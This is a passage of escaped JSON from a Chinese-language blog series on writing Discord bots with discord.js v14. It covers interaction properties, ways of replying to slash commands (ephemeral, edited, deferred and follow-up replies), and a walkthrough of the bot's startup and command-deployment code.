ID\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.locale\u003c/td\u003e\n\u003ctd\u003eLocale\u003c/td\u003e\n\u003ctd\u003e调用此交互的用户的语言环境\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.member\u003c/td\u003e\n\u003ctd\u003eGuildMember or APIGuildMember\u003c/td\u003e\n\u003ctd\u003e如果此交互是在公会中发送的,发送它的成员\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.memberPermissions\u003c/td\u003e\n\u003ctd\u003ePermissionsBitField\u003c/td\u003e\n\u003ctd\u003e执行此交互的通道中成员的权限(如果存在)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.replied\u003c/td\u003e\n\u003ctd\u003eGuild\u003c/td\u003e\n\u003ctd\u003e发送此交互的服务器\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.token\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003e交互的令牌\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.type\u003c/td\u003e\n\u003ctd\u003eInteractionType\u003c/td\u003e\n\u003ctd\u003e交互的类型\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.user\u003c/td\u003e\n\u003ctd\u003eUser\u003c/td\u003e\n\u003ctd\u003e发送此交互的用户\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.version\u003c/td\u003e\n\u003ctd\u003enumber\u003c/td\u003e\n\u003ctd\u003e版本\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.webhook\u003c/td\u003e\n\u003ctd\u003eInteractionWebhook\u003c/td\u003e\n\u003ctd\u003e关联的交互 webhook,可用于进一步与此交互进行交互\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e很多我们都用不上,当然很多能节约我们的敲代码的时间。要学会在不断地尝试中学习,学会在错误中吸取经验。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-5/"},{"title":"Bot in Discord with discord.js (4)","time":"2022-07-11T00:00:00Z","content":"\u003ch2\u003eChapter 5 - 交互:对斜杠命令回复的那些事儿(1)\u003c/h2\u003e\n\u003cp\u003e斜杠命令是交互的一种。\u003c/p\u003e\n\u003cp\u003e我们在 Chapter 2 的 \u003ccode\u003ecommands/ping.js\u003c/code\u003e 里已经完成了一项斜杠命令的建立:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('ping')\n\t\t.setDescription('Replies with Pong!'),\n\tasync execute(interaction) {\n\t\tawait interaction.reply(\"Pong!\");\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e代码建立了一项命令: \u003ccode\u003e/ping\u003c/code\u003e,作用是回复:\u003ccode\u003ePong!\u003c/code\u003e。具体的解释已在 Chapter 4 中完成,不再赘述。\u003c/p\u003e\n\u003cp\u003eDiscord 为开发人员提供了创建客户端集成斜杠命令的选项。 在本章中,我们将介绍如何使用 discord.js 响应这些命令。下面我们来看看如何把回复玩出花来。\u003c/p\u003e\n\u003ch3\u003e注册斜杠命令\u003c/h3\u003e\n\u003cp\u003e你至少需要在你的应用程序上注册一个斜杠命令才能继续往下走(如果你是跟着我的文章来的,那么你肯定注册过至少一项命令了)。注册斜杠命令在前文章节已说明过,不再赘述。\u003c/p\u003e\n\u003ch3\u003e接收斜杠命令\u003c/h3\u003e\n\u003cp\u003e接收斜杠命令交互在前文章节已说明过,不再赘述。(如果你是跟着我的文章来的,那么你的机器人肯定可以接收斜杠命令了)。\u003c/p\u003e\n\u003ch3\u003e回复斜杠命令\u003c/h3\u003e\n\u003cp\u003ediscord.js 提供了不止一种回复命令的方法。最常见的方法是 \u003ccode\u003eCommandInteraction#reply()\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e需要说明的是,一次 Discord 交互(interaction)的 token 有效期为 3 秒。因此,你需要在 3 秒内完成对斜杠命令的回复,否则按咱们的代码设计,机器人将报错。至于如何延长这个时间,后面会讲到。\u003c/p\u003e\n\u003cp\u003e比如 \u003ccode\u003ecommands/ping.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('ping')\n\t\t.setDescription('Replies with Pong!'),\n\tasync execute(interaction) {\n\t // 这里回复了斜杠命令\n\t\tawait interaction.reply(\"Pong!\");\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e执行这个斜杠命令,这里的回复应该是:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711125819594-935091856.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e短暂响应 Ephemeral responses\u003c/h3\u003e\n\u003cp\u003e我不知道把 Ephemeral responses 翻译成“短暂回复”是否合适,字面意思的确是“短暂的回复”,不过,翻译成“临时回复”,也许更好。\u003c/p\u003e\n\u003cp\u003e短暂消息 / 临时消息(Ephemeral messages)是 Discord 机器人无需向用户发送 DM(私聊) 即可向用户发送私人消息的一种新方式。\u003c/p\u003e\n\u003cp\u003e这是一条只有命令发起者(用户自己)和机器人自己才可以看到的消息。 当用户选择无视(dismiss)它们、等待足够长的时间或重新启动 Discord 时,这些消息会消失。\u003c/p\u003e\n\u003cp\u003e短暂回复是回复的属性,给回复加上 \u003ccode\u003eephemeral: true\u003c/code\u003e 属性,即可完成设置。\u003c/p\u003e\n\u003cp\u003e比如我们来个 \u003ccode\u003ecommands/pingEphemeral.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('ping2')\n\t\t.setDescription('Replies with Pong, but ephemerally!'),\n\tasync execute(interaction) {\n\t // 这里回复了斜杠命令,是个短暂回复\n\t\tawait interaction.reply({\n\t\t content: \"Pong!\",\n\t\t ephemeral: true,\n\t\t});\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e执行效果是这样的:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711165330459-644492374.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e这里我们的 \u003ccode\u003eephemeral\u003c/code\u003e 是 interaction.reply 的属性。interaction.reply 来自自己的一共有三个属性,我们会介绍到其他两个的。 interaction.reply 具有多种类型,具体是 content、nonce、embeds、components、attachments、files、tts 和 allowedMentions。这八个都是可选的,以后我们会介绍的。\u003c/p\u003e\n\u003ch3\u003e修改响应 Editing responses\u003c/h3\u003e\n\u003cp\u003e发送初始响应后,您可能出于各种原因想要编辑该响应(前提是交互令牌(interaction token)未过期失效)。\u003c/p\u003e\n\u003cp\u003e在初始响应之后,交互令牌的有效期为 15 分钟,因此这是您可以编辑响应和发送后续消息的时间范围。\u003c/p\u003e\n\u003cp\u003e修改响应回复可以通过 \u003ccode\u003eCommandInteraction#editReply()\u003c/code\u003e 方法来实现:\u003c/p\u003e\n\u003cp\u003e比如来个 \u003ccode\u003ecommands/pingEditing.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\nconst wait = require('node:timers/promises').setTimeout; // 别忘了!!!\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('ping3')\n\t\t.setDescription('Replies with Pong, but will be edited.'),\n \n\tasync execute(interaction) {\n\n // 先来个回复,作为初始回复\n\t\tawait interaction.reply(\"Pong!\");\n\n // 利用 wait 等待 2000 毫秒,即 2 秒\n\t\tawait wait(2000);\n\n // 修改回复成新的字符串\n\t\tawait interaction.editReply('Pong again!');\n\t\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e注意我们用到了 \u003ccode\u003enode:times/promises\u003c/code\u003e 记为 wait,作为我们的延迟函数。所以第二行需要导包。\u003c/p\u003e\n\u003cp\u003e别忘了 wait 是在 async 里的,要达到故意延时的目的,需要 await。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711172138742-1265191722.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711172147641-1873380108.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e延迟响应 Deferred responses\u003c/h3\u003e\n\u003cp\u003e如前所述,在交互令牌(interaction token)变为无效之前,你有 3 秒钟的时间来响应交互。 但是,如果您有一个命令执行的任务需要超过 3 秒钟才能回复,该怎么办?\u003c/p\u003e\n\u003cp\u003e在这种情况下,你可以使用 \u003ccode\u003eCommandInteraction#deferReply()\u003c/code\u003e 方法。该方法触发 “\u0026lt;某某某应用程序\u0026gt; 正在响应......” 消息(由 Discord 指定,且与用户语言设置有关)并充当初始响应。 这使你可以在 15 分钟内完成任务,然后再做出响应。\u003c/p\u003e\n\u003cp\u003e由于调用延迟响应回复,会有个初始响应回复,所以你必须利用修改响应回复功能,通过修改初始回复,来进行真正的回复。\u003c/p\u003e\n\u003cp\u003e比如来个 \u003ccode\u003ecommands/pingDeferred.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\nconst wait = require('node:timers/promises').setTimeout; // 注意这里!!!!!!\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('ping4')\n\t\t.setDescription('Replies with Pong, but deferred!'),\n\tasync execute(interaction) {\n\t\n\t // 延迟回复,此时会有个初始回复“应用程序正在响应”\n\t await interaction.deferReply();\n\t \n\t // 利用导入的 wait,故意等待 4000 毫秒\n\t\tawait wait(4000);\n\t\t\n\t\t// 进行真正的回复\n\t\tawait interaction.editReply('Pong!');\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711172408926-2108786535.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711172414298-742066049.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e多重响应 Follow-ups\u003c/h3\u003e\n\u003cp\u003e如果你想发送多个响应而不是一个响应怎么办? 您可以使用 \u003ccode\u003eCommandInteraction#followUp()\u003c/code\u003e 发送多个响应。\u003c/p\u003e\n\u003cp\u003e在初始响应之后,交互令牌的有效期为 15 分钟,因此这是您可以编辑响应和发送后续消息的时间范围。\u003c/p\u003e\n\u003cp\u003e比如我们来个 \u003ccode\u003ecommands/pingFollowUps.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('ping5')\n\t\t.setDescription('Replies with Pong, but multiple responses!'),\n\tasync execute(interaction) {\n\t\tawait interaction.reply(\"Pong!\");\n\t\tawait interaction.followUp({content: \"Pong again!\", ephemeral: true});\n\t\tawait interaction.followUp({content: \"Pong again again!\", ephemeral: false});\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711173058563-931188594.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e注意到我们的 Follow-ups 都是对机器人初始响应的回复,而不是对用户斜杠命令的回复。\u003c/p\u003e\n\u003ch3\u003e回复带上超链接\u003c/h3\u003e\n\u003cp\u003e我们可以给 \u003ccode\u003econtent\u003c/code\u003e 字段使用 \u003ccode\u003e[text](http://site.com)\u003c/code\u003e 这样的形式来设置一个超链接。\u003c/p\u003e\n\u003cp\u003e比如:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('ping6')\n\t\t.setDescription('Replies with Pong, but with hyperlink!'),\n\tasync execute(interaction) {\n\t\tawait interaction.reply(\n\t\t \"Pong!\\n\" + \"[bilibili](https://www.bilibili.com/video/BV1GJ411x7h7)\"\n\t\t);\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220711174526099-690908800.png\" alt=\"image\" /\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-4/"},{"title":"Bot in Discord with discord.js (3)","time":"2022-07-10T00:00:00Z","content":"\u003ch2\u003eChapter 4 - 对 Chapter 2 代码的解释\u003c/h2\u003e\n\u003cp\u003e我们在系列文章(1) 中,完成了简单的机器人的建立与交互。\u003c/p\u003e\n\u003cp\u003e下面,我们开始针对 discord.js V14.0.3 的特性和方法,通过 Discord 机器人的编写实践,来掌握 discord.js 的使用。\u003c/p\u003e\n\u003ch3\u003e首先,从 目录结构 开始看起。\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003ediscord_bot_2022\n├─commands\n├─events\n├─node_modules\n├─.gitignore\n├─cmdPaths.js\n├─config.json\n├─deploy_commands.js\n├─index.js\n├─package.json\n├─package-lock.json\n├─pnmp-lock.yaml\n└─yarn.lock\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e文件 \u003ccode\u003eindex.js\u003c/code\u003e 是我们的机器人启动器。\n文件 \u003ccode\u003edeploy_commands.js\u003c/code\u003e 是用来注册部署机器人斜杠命令的。\n文件 \u003ccode\u003ecmdPaths.js\u003c/code\u003e 用于存储斜杠命令所在的目录路径。\n文件 \u003ccode\u003econfig.json\u003c/code\u003e 用于存储机密设置(比如机器人 token 和各个 id)。\n文件 \u003ccode\u003e.gitignore\u003c/code\u003e 是让 Git 屏蔽某些文件的上传(如果你不需要使用 Git 上传到 Github 或 bitbucket 等代码托管平台,则这个文件没有作用)。\n文件夹 \u003ccode\u003ecommands\u003c/code\u003e 用于存储我们需要用到的命令,当然里面都是 js 文件。\n文件夹 \u003ccode\u003eevents\u003c/code\u003e 用于存储事件的文件夹,目前我们只存了俩,其实这俩就够了。\n文件夹 \u003ccode\u003enode_modules\u003c/code\u003e 用于存放项目所依赖的外部模块的缓存,不要动它。\n其余没谈到的文件各司其职,也不要动它们。\u003c/p\u003e\n\u003ch3\u003e下面来看 \u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e 和 \u003ccode\u003eready.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003eevents/interatcionCreate.js\u003c/code\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e// module.exports 提供了暴露接口的方法\nmodule.exports = { \n\n // 指明 name\n name: \"interactionCreate\",\n\n\t// module 暴露了名为 execute 的函数,接受一个 discord.js interaction 对象\n execute(interaction) { \n \n // 控制台输出哪位用户在哪个频道触发了一次交互(斜杠命令)\n console.log(`${interaction.user.tag} in #${interaction.channel.name} triggered an interaction.`); \n }, \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003eevents/ready.js\u003c/code\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e// module.exports 提供了暴露接口的方法\nmodule.exports = { \n\n // 指明 name\n name: \"ready\", \n \n // 指明该 module 在程序全程只能调用一次\n once: true, \n\n\t// 函数 execute\n execute(client) { \n \n // 控制台输出机器人以什么身份登录 discord 的\n console.log(`Ready! Logged in as ${client.user.tag}`); \n }, \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003ename\u003c/code\u003e 属性说明该文件用于哪个事件,而 \u003ccode\u003eonce\u003c/code\u003e 属性是一个布尔值,用于指定事件是否应该只运行一次。 \u003ccode\u003eexecute\u003c/code\u003e 函数用于你的事件逻辑,只要事件发出,事件处理程序就会调用它。\u003c/p\u003e\n\u003cp\u003e在我们自己写模块的时候,需要在模块最后写好模块接口,声明这个模块对外暴露什么内容,module.exports 提供了暴露接口的方法。\u003c/p\u003e\n\u003cp\u003emodule.exports 是你在 Node.js 中导出数据的方式,以便你可以在其他文件中 require() 它。\u003c/p\u003e\n\u003ch3\u003e下面来看 \u003ccode\u003ecmdPaths.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e文件的 data 域内只有一个数组,用于存储我们需要注册斜杠命令的 js 源代码的文件夹位置。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emodule.exports = { \n data: [\"./commands\"], \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e如果你需要添加更多文件夹的话,可以修改成类似这样子:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emodule.exports = { \n data: [\"./commands\", \"./commands/utils\", \"./commands/moderations\"], \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这些文件夹必须存在,否则会报错。\u003c/p\u003e\n\u003ch3\u003e下面来看 \u003ccode\u003eindex.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e咱们分开来看\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst fs = require('fs'); \nconst { Client, Collection, GatewayIntentBits } = require('discord.js'); \nconst { token } = require('./config.json'); \nconst { InteractionType } = require(\"discord-api-types/v10\"); \n \nconst client = new Client({ intents: [GatewayIntentBits.Guilds, GatewayIntentBits.GuildMessages, GatewayIntentBits.MessageContent] }); \nconst eventFiles = fs.readdirSync('./events').filter(file =\u0026gt; file.endsWith('.js')); \n\nfor (const file of eventFiles) {\n const event = require(`./events/${file}`);\n if (event.once) {\n client.once(event.name, (...args) =\u0026gt; event.execute(...args));\n } else {\n client.on(event.name, (...args) =\u0026gt; event.execute(...args));\n }\n}\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003efs\u003c/code\u003e 模块能够以标准 POSIX 函数为模型的方式与文件系统进行交互。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eClient\u003c/code\u003e 来自 discord.js,是一个继承来的 class(类),是与 Discord API 交互的主要枢纽,也是任何机器人的起点。Client 类具有十分多的属性、方法和事件。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eCollection\u003c/code\u003e 来自 discord.js,是一个实用程序类,是一个带有其他实用方法的 Map。它扩展了 JavaScript 的原生 Map 类,因此它具有所有 Map 功能。Map 允许在唯一键和它们的值之间建立关联。 Collection 上的许多方法对应于它们在 Array 中的同名方法。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eGatewayIntentBits\u003c/code\u003e 来自 discord.js。Gateway Intents是由 Discord 引入的,因此机器人开发人员可以根据需要运行的数据来选择他们的机器人接收的事件。Intent 是一组命名的预定义 WebSocket 事件,discord.js 客户端将接收这些事件。如果你没有提供 Intent,discord.js 会抛出一个错误。\u003c/p\u003e\n\u003cp\u003e接着读取 \u003ccode\u003econfig.json\u003c/code\u003e 到对象 token 里。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eInteractionType\u003c/code\u003e 是预先定义好的 Interaction 的类型表。Interaction Type 有 5 种,名称及其对应值分别是 PING(1)、APPLICATION_COMMAND(2)、MESSAGE_COMPONENT(3)、APPLICATION_COMMAND_AUTOCOMPLETE(4)、MODAL_SUBMIT(5)。\u003c/p\u003e\n\u003cp\u003e接下来我们 new 了一个 client,它的类型是 Client。这是你为 Discord 机器人创建客户端实例并登录 Discord 的方式。 \u003ccode\u003eGatewayIntentBits.Guilds\u003c/code\u003e 这个 Intent 选项是你的 client 正常工作所必需的,其余的是为了后续代码而添加的。\u003c/p\u003e\n\u003cp\u003e接下来我们从 index.js 所在的目录(即工程目录)下的 \u003ccode\u003eevents\u003c/code\u003e 文件夹读取所有以 \u003ccode\u003e.js\u003c/code\u003e 为文件名结尾的文件名到 \u003ccode\u003eeventFiles\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e后面的 for 循环就是遍历 \u003ccode\u003eeventFiles\u003c/code\u003e 里的文件名所对应文件,如果模块具有 once 属性,则在 client 启动时只执行一次就完事,这里其实只有 \u003ccode\u003eevents\\ready.js\u003c/code\u003e 的模块;反之,则保持执行,退出了也要再次调用起来。这里只有 \u003ccode\u003eevents\\interactionCreate.js\u003c/code\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\nclient.commands = new Collection(); \nconst cmdPaths = require(\"./cmdPaths.js\").data; \nconst commandFiles = []; \nfor (let i = 0; i \u0026lt; cmdPaths.length; i++) { \n commandFiles[i] = fs.readdirSync(cmdPaths[i]).filter(file =\u0026gt; file.endsWith(\".js\")); // fs.readdirSync() 的结果是个数组,所以 commandFiles是个二维数组 \n for (let j = 0; j \u0026lt; commandFiles[i].length; j++) { \n commandFiles[i][j] = cmdPaths[i] + \"/\" + commandFiles[i][j]; \n } \n} \n \nfor (const fileArray of commandFiles) { \n for (const file of fileArray) { \n const command = require(`./${file}`); \n client.commands.set(command.data.name, command); \n \n // if any ‘aka' name exists \n if (command.akaNames != null \u0026amp;\u0026amp; command.akaNames !== []) { \n for (let i = 0; i \u0026lt; command.akaNames.length; i++) { \n client.commands.set(command.akaNames[i], command); \n } \n } \n } \n}\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e上面的代码中,我们 new 了一个 Collection 到 client.commands 里。\u003c/p\u003e\n\u003cp\u003e后面的读取 js 文件和上面从 events 文件夹读取类似。从 \u003ccode\u003ecmdPaths.js\u003c/code\u003e 的 data 域里,读取预先记录好文件夹路径到 \u003ccode\u003ecmdPaths\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e接着读取 \u003ccode\u003ecmdPaths\u003c/code\u003e 所存储的所有文件夹下面的所有 js 文件的相对路径名,保存到数组 \u003ccode\u003ecommandFiles[i][j]\u003c/code\u003e 里。i 是有关于文件夹的迭代下标,j 是关于同一 i 时的文件我迭代下标。\u003c/p\u003e\n\u003cp\u003eakaNames 是用来给同一个斜杠命令起不同命令名用的,就像磁盘上的同一文件可以用于多个文件名那样。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\nclient.once('ready', () =\u0026gt; {}); \nclient.on('interactionCreate', async interaction =\u0026gt; { \n if (interaction.type !== InteractionType.ApplicationCommand) return; \n \n const command = client.commands.get(interaction.commandName); \n \n if (!command) return; \n \n try { \n await command.execute(interaction); \n } catch (error) { \n console.error(error); \n await interaction.reply({ \n content: 'There was an error while executing this command!', \n ephemeral: true \n }); \n } \n});\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e上面第一行,client 对象准备就绪后,运行所有只执行一遍的 client.once 代码。\u003c/p\u003e\n\u003cp\u003e后面,运行需要保持运行的 cilent.on 代码,这里我们使用的是一个 async 修饰的箭头函数。\u003c/p\u003e\n\u003cp\u003e函数内, \u003ccode\u003einteraction.type !== InteractionType.ApplicationCommand\u003c/code\u003e 用于确认这个 interaction 交互的类型是斜杠命令。如果不是斜杠命令,则返回。要记住,并不是每个交互都是在触发斜杠命令。\u003c/p\u003e\n\u003cp\u003e后面通过 \u003ccode\u003eclient.commands.get()\u003c/code\u003e 方法,使用名称获取到具体是我们的哪个斜杠命令,并将其分配给变量 \u003ccode\u003ecommand\u003c/code\u003e。 如果该命令不存在,它将返回 undefined,然后 return。如果确实存在这个命令,则调用命令的 \u003ccode\u003e.execute()\u003c/code\u003e 方法,并将变量 \u003ccode\u003einteraction\u003c/code\u003e 作为其参数传入。\u003c/p\u003e\n\u003cp\u003e如果 \u003ccode\u003e.execute()\u003c/code\u003e 出现了错误,则将抛出一个异常,并在 Discord 上回复 \u003ccode\u003eThere was an error while executing this command!\u003c/code\u003e,且只有命令发起者和机器人自己能看到。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eclient.login(token);\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这行代码就是使用你机器人的令牌登录 Discord。\u003c/p\u003e\n\u003ch3\u003e下面来看 \u003ccode\u003edeploy_commands.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e一样,分部分来看。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst fs = require(\"fs\"); \nconst { REST } = require('@discordjs/rest'); \nconst { Routes } = require('discord.js'); \nconst { clientId, guildId, token } = require('./config.json');\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eDiscord 允许开发人员注册斜杠命令,这为用户提供了与你的应用程序直接交互的\"一等\"方式。 在能够回复命令之前,你必须先注册它。\u003c/p\u003e\n\u003cp\u003e斜杠命令分为服务器命令(guild commands)、全局命令(global commands)、选项(options)、选项类型(option types)、选择(choices)和子命令(subcommands)。我们刚开始不需要了解这么多。\u003c/p\u003e\n\u003cp\u003e其实上面这四行代码就是导包和导配置。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\nconst commands = []; \nconst cmdPaths = require(\"./cmdPaths.js\").data; \nconst commandFiles = []; \nfor (let i = 0; i \u0026lt; cmdPaths.length; i++) { \n\tcommandFiles[i] = fs.readdirSync(cmdPaths[i]).filter(file =\u0026gt; file.endsWith(\".js\")); // fs.readdirSync() 的结果是个数组,所以 commandFiles是个二维数组 \n\tfor (let j = 0; j \u0026lt; commandFiles[i].length; j++) { \n\t\tcommandFiles[i][j] = cmdPaths[i] + \"/\" + commandFiles[i][j]; \n\t} \n}\n\n//console.log(commandFiles); \nfor (const fileArray of commandFiles) { \n\tfor (const file of fileArray) {\n\t\tconsole.log(file); \n\t\tlet command = require(`./${file}`); \n\t\tcommands.push(command.data.toJSON()); \n \n\t\t// if any ‘aka' name exists \n\t\tif (command.akaNames != null \u0026amp;\u0026amp; command.akaNames !== []) { \n\t\t\tfor (let i = 0; i \u0026lt; command.akaNames.length; i++) { \n\t\t\t\tlet akaData = command.data; \n\t\t\t\takaData.name = command.akaNames[i]; \n\t\t\t\tcommands.push(akaData.toJSON()); \n\t\t\t}\n\t\t}\n\t}\n}\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e上面这就是读取所有 \u003ccode\u003ecmdPaths.js\u003c/code\u003e 里记录的文件夹下的 js 文件。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\nconst rest = new REST({ version: '10' }).setToken(token); \n \nrest.put(Routes.applicationGuildCommands(clientId, guildId), { body: commands }) \n .then(() =\u0026gt; console.log('Successfully registered application commands.')) \n .catch(console.error);\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这里就是根据你的 \u003ccode\u003econfig.json\u003c/code\u003e 的配置来向特定服务器注册命令。成功时,控制台输出 \u003ccode\u003eSuccessfully registered application commands.\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e你只需要运行一次 \u003ccode\u003enode deploy_commands.js\u003c/code\u003e 来向单一服务器注册命令。 只有在添加或编辑现有命令时才应再次运行它。\u003c/p\u003e\n\u003ch3\u003e下面来看 \u003ccode\u003ecommands/ping.js\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e我们的第一个斜杠命令就来自 \u003ccode\u003eping.js\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e事实上,决定命令名的不是 js 文件名,而是由各文件 \u003ccode\u003e.setName()\u003c/code\u003e 方法决定。,因此事实上,这些文件名可以随便起。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js'); \n \nmodule.exports = { \n\tdata: new SlashCommandBuilder() \n\t\t.setName('ping') \n\t\t.setDescription('Replies with Pong!'), \n\tasync execute(interaction) { \n\t\tawait interaction.reply(\"Pong!\"); \n\t}, \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e第一行导包。事实上我们的每个斜杠命令都将需要包 \u003ccode\u003ediscord.js\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e后面暴露数据,new 了个斜杠命令。\u003c/p\u003e\n\u003cp\u003e通过 \u003ccode\u003e.setName()\u003c/code\u003e 设置斜杠命令的名称。\u003c/p\u003e\n\u003cp\u003e通过 \u003ccode\u003e.setDescription()\u003c/code\u003e 来设置命令的简介描述。\u003c/p\u003e\n\u003cp\u003e通过 async 修饰的 \u003ccode\u003eexecute()\u003c/code\u003e 来执行命令该执行的。这里我们就回复了 \u003ccode\u003ePong!\u003c/code\u003e,注意加上 await 关键字。\u003c/p\u003e\n\u003cp\u003e后面我们还会学到什么是 ephemeral response、如何执行多条回复、如何修改回复、如何删除回复、如何延长回复时间、如何让回复更花哨等。\u003c/p\u003e\n\u003ch3\u003e结语\u003c/h3\u003e\n\u003cp\u003e这样,我们就完成了对 Chapter 2 的代码的解释。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-3/"},{"title":"Bot in Discord with discord.js (2)","time":"2022-07-09T00:00:00Z","content":"\u003ch2\u003eChapter 3 - JavaScript 介绍\u003c/h2\u003e\n\u003ch3\u003eJS 一窥\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003e以下内容来自 runoob.com。感谢。侵删。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e数组(Array)字面量\u003c/strong\u003e 